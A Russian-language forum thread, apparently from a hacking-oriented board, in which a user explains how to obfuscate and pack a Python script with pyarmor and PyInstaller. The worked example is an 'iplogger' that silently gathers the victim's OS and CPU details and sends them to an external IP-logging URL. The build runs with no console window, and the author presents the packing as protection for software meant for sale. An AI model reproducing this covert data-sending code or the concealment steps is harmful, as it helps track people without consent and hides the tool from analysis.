Загрузка...

Защищаем свой Python скрипт за пару минут

Тема в разделе Безопасность создана пользователем LazersBoy 12 дек 2019. 1495 просмотров

  1. LazersBoy
    LazersBoy Автор темы 12 дек 2019 Заблокирован(а) 163 10 окт 2019
    Думаю многие знают, что Python для разного приват софта очень плох, т.к. получить исходник из собранного pyinstaller'ом .exe файла очень легко.

    Но можно защитить скрипт так, чтобы человек не знающий дебаггеров, и вообще мало понимающий в реверс инженеринге, не смог сделать с вашим софтом ничего.

    Разберем на примере простейшего iplogger'a.

    Код
    import requests
    import os
    import platform
    import subprocess
    windows = platform.uname()
    windows = windows[0]+' '+windows[2]+' '+windows[1]
    cpu = subprocess.check_output(["wmic","cpu","get", "name"], creationflags=0x08000000).decode('utf-8')
    cpu = cpu.replace('\r', '').replace('Name', '').strip()
    requests.get('https://iplis.ru/1w5pu7', headers={'User-Agent':windows+' '+cpu})
    Теперь установим нужные библиотеки.

    Код
    pip install pyarmor
    pip install PyInstaller
    В консоли переходим в папку проекта или где находиться главный файл.

    Теперь сам процесс защиты.

    В консоли прописываем.

    Код
    pyarmor pack -e " здесь аргументы от pyinstaller'a" api.py
    Как пример команда с такими аргументами как --onefile --noconsole --icon=NONE

    Соберет все доп файлы в один exe-шник, при запуске консоли не будет и установится стандартная windows иконка.

    После этого можно продавать свою программу, т.к. шанс взлома и слива исходников уменьшился на ~95%

    Вот что будет, если попробовать разобрать программу.

    [IMG]

    А вот что было бы без защиты

    [IMG]
     
  2. dtected
    dtected 12 дек 2019 Заблокирован(а) 220 12 авг 2018
    Хорошо, а теперь давай под хайд 500 симп, как получить разобрать скрипт если он так защищён :)
     
  3. LazersBoy
    LazersBoy Автор темы 16 дек 2019 Заблокирован(а) 163 10 окт 2019
    dtected, Я уже пишу статью, но без хайда. Да и 500 симпатий у меня нет :(
     
Top
Загрузка...